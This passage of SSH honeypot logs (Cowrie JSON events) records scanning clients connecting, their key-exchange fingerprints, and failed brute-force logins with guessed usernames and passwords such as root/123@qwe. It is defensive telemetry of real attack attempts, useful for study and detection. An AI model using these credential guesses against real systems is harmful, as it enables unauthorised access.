128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:22.563598Z","src_ip":"190.167.237.191","session":"dc40ea39f8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peppino","message":"login attempt [root/peppino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:22.794125Z","src_ip":"190.167.237.191","session":"dc40ea39f8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47746,"dst_ip":"10.17.0.5","dst_port":22,"session":"244243248247","protocol":"ssh","message":"New connection: 194.59.206.2:47746 (10.17.0.5:22) [session: 244243248247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:23.701514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:23.707455Z","src_ip":"194.59.206.2","session":"244243248247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:23.795698Z","src_ip":"194.59.206.2","session":"244243248247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:23.852035Z","src_ip":"190.167.237.191","session":"dc40ea39f8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:23.887715Z","src_ip":"194.59.206.2","session":"244243248247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":52308,"dst_ip":"159.203.135.109","dst_port":22,"session":"d290aeb1831d","protocol":"ssh","message":"New connection: 124.155.125.131:52308 (159.203.135.109:22) [session: d290aeb1831d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:29.258920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:29.264121Z","src_ip":"124.155.125.131","session":"d290aeb1831d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:29.442086Z","src_ip":"124.155.125.131","session":"d290aeb1831d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:30.182477Z","src_ip":"124.155.125.131","session":"d290aeb1831d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:31.363667Z","src_ip":"124.155.125.131","session":"d290aeb1831d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":44684,"dst_ip":"10.17.0.5","dst_port":22,"session":"49042f31c5e4","protocol":"ssh","message":"New connection: 8.218.166.49:44684 (10.17.0.5:22) [session: 49042f31c5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:33.008301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:33.210634Z","src_ip":"8.218.166.49","session":"49042f31c5e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:34.126914Z","src_ip":"8.218.166.49","session":"49042f31c5e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":38502,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a27c16a6ecf","protocol":"ssh","message":"New connection: 139.59.208.49:38502 (159.203.135.109:22) [session: 4a27c16a6ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:42.424616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:42.429726Z","src_ip":"139.59.208.49","session":"4a27c16a6ecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:42.516596Z","src_ip":"139.59.208.49","session":"4a27c16a6ecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qwe","message":"login attempt [root/123@qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:42.898817Z","src_ip":"139.59.208.49","session":"4a27c16a6ecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:43.989254Z","src_ip":"139.59.208.49","session":"4a27c16a6ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42356,"dst_ip":"10.17.0.5","dst_port":22,"session":"85c749bb6da5","protocol":"ssh","message":"New connection: 8.218.166.49:42356 (10.17.0.5:22) [session: 85c749bb6da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:45.712484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:45.907166Z","src_ip":"8.218.166.49","session":"85c749bb6da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:46.531084Z","src_ip":"8.218.166.49","session":"85c749bb6da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57866,"dst_ip":"10.17.0.5","dst_port":22,"session":"578cd7bade8b","protocol":"ssh","message":"New connection: 8.218.166.49:57866 (10.17.0.5:22) [session: 578cd7bade8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:57.563019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:57.568318Z","src_ip":"8.218.166.49","session":"578cd7bade8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57878,"dst_ip":"10.17.0.5","dst_port":22,"session":"601e2a050503","protocol":"ssh","message":"New connection: 8.218.166.49:57878 (10.17.0.5:22) [session: 601e2a050503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:02.032812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:02.039617Z","src_ip":"8.218.166.49","session":"601e2a050503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c43b673e231d","protocol":"ssh","message":"New connection: 8.218.166.49:39520 (10.17.0.5:22) [session: c43b673e231d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:18.521337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:18.525946Z","src_ip":"8.218.166.49","session":"c43b673e231d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:18.725760Z","src_ip":"8.218.166.49","session":"c43b673e231d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:29.479174Z","src_ip":"8.218.166.49","session":"c43b673e231d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:31.844515Z","src_ip":"8.218.166.49","session":"c43b673e231d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":51698,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5db303bad04","protocol":"ssh","message":"New connection: 189.113.47.155:51698 (159.203.135.109:22) [session: a5db303bad04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:36.608443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:36.612352Z","src_ip":"189.113.47.155","session":"a5db303bad04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:36.727388Z","src_ip":"189.113.47.155","session":"a5db303bad04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!@#$","message":"login attempt [root/1234qwer!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:37.228399Z","src_ip":"189.113.47.155","session":"a5db303bad04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:38.346792Z","src_ip":"189.113.47.155","session":"a5db303bad04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":42314,"dst_ip":"159.203.135.109","dst_port":22,"session":"e315bc180626","protocol":"ssh","message":"New connection: 190.167.237.191:42314 (159.203.135.109:22) [session: e315bc180626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:39.373474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:39.377443Z","src_ip":"190.167.237.191","session":"e315bc180626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:39.438641Z","src_ip":"190.167.237.191","session":"e315bc180626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololol","message":"login attempt [root/lololol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:39.708359Z","src_ip":"190.167.237.191","session":"e315bc180626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:40.771475Z","src_ip":"190.167.237.191","session":"e315bc180626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55186,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d9697d93112","protocol":"ssh","message":"New connection: 8.218.166.49:55186 (10.17.0.5:22) [session: 8d9697d93112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:41.548970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:41.956387Z","src_ip":"8.218.166.49","session":"8d9697d93112","protocol":"ssh"}
